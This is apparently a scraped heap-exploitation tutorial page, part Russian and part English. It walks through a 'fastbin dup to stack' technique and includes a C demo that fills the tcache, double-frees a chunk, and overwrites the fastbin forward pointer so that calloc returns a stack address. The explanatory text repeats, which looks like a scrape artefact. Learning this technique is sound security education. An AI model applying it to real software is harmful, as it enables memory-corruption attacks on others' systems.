Введение в эксплуатацию двоичных файлов x64 Linux (часть 1)
Введение в бинарную эксплуатацию x64 Linux (часть 2)
Heap exploitation, Overflows (часть 3)
Heap exploitation, Use After Free & Double free (Часть 4)
FastBin Double Free to Stack
Заполните tcache, выделив семь чанков одинакового размера. Это заставит аллокатор использовать список fastbins:
Create three new allocations and double free-ing one of them:
Следующие два блока calloc'а будут назначены из списка fastbins, но из-за двойного освобождения в fastbins все еще будет запись, указывающая на выделенный блок:
First calloc(1,8) →0x0000555555559790
Second calloc(1,8) →0x00005555555597b0
Запись в fastbins по-прежнему указывает на выделенный чанк (0x0000555555559790):
Поскольку мы полностью контролируем указатель d, мы можем перезаписать метаданные чанка, на который он указывает, чтобы создать поддельный чанк произвольного адреса и размера:
d теперь указывает на адрес, который содержит адрес stack_var . Это вставит поддельную ссылку в список fastbins, который теперь будет содержать два чанка (тот, на который указывает d, а также поддельный):
В результате первое следующее распределение будет указывать на 0x555555559790:
И последующие до 0x7fffffffe2f0. Если собрать все это вместе, скомпилировать и запустить приведенный пример, то получится следующий результат:
The toddler’s introduction to Heap Exploitation, FastBin Dup to Stack (Part 4.1)
Введение в бинарную эксплуатацию x64 Linux (часть 2)
Heap exploitation, Overflows (часть 3)
Heap exploitation, Use After Free & Double free (Часть 4)
FastBin Double Free to Stack
C:
#include <stdio.h>
#include <stdlib.h>
int main()
{
fprintf(stderr, "This file extends on fastbin_dup.c by tricking calloc into\n"
"returning a pointer to a controlled location (in this case, the stack).\n");
printf("Fill up tcache first.\n");
void *ptrs[7];
for (int i=0; i<7; i++) {
ptrs[i] = malloc(8);
}
for (int i=0; i<7; i++) {
free(ptrs[i]);
}
unsigned long long stack_var;
fprintf(stderr, "The address we want calloc() to return is %p.\n", 8+(char *)&stack_var);
fprintf(stderr, "Allocating 3 buffers.\n");
int *a = calloc(1,8);
int *b = calloc(1,8);
int *c = calloc(1,8);
fprintf(stderr, "1st calloc(1,8): %p\n", a);
fprintf(stderr, "2nd calloc(1,8): %p\n", b);
fprintf(stderr, "3rd calloc(1,8): %p\n", c);
fprintf(stderr, "Freeing the first one...\n");
free(a);
fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);
fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);
fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);
fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
unsigned long long *d = calloc(1,8);
fprintf(stderr, "1st calloc(1,8): %p\n", d);
fprintf(stderr, "2nd calloc(1,8): %p\n", calloc(1,8));
fprintf(stderr, "Now the free list has [ %p ].\n", a);
fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
"so that calloc will think there is a free chunk there and agree to\n"
"return a pointer to it.\n", a);
stack_var = 0x20;
fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
fprintf(stderr, "3rd calloc(1,8): %p, putting the stack address on the free list\n", calloc(1,8));
fprintf(stderr, "4th calloc(1,8): %p\n", calloc(1,8));
}
Заполните tcache, выделив семь чанков одинакового размера. Это заставит аллокатор использовать список fastbins:
Create three new allocations and double free-ing one of them:
Следующие два блока calloc'а будут назначены из списка fastbins, но из-за двойного освобождения в fastbins все еще будет запись, указывающая на выделенный блок:
First calloc(1,8) →0x0000555555559790
Second calloc(1,8) →0x00005555555597b0
Запись в fastbins по-прежнему указывает на выделенный чанк (0x0000555555559790):
Поскольку мы полностью контролируем указатель d, мы можем перезаписать метаданные чанка, на который он указывает, чтобы создать поддельный чанк произвольного адреса и размера:
d теперь указывает на адрес, который содержит адрес stack_var . Это вставит поддельную ссылку в список fastbins, который теперь будет содержать два чанка (тот, на который указывает d, а также поддельный):
В результате первое следующее распределение будет указывать на 0x555555559790:
И последующие до 0x7fffffffe2f0. Если собрать все это вместе, скомпилировать и запустить приведенный пример, то получится следующий результат:
The toddler’s introduction to Heap Exploitation, FastBin Dup to Stack (Part 4.1)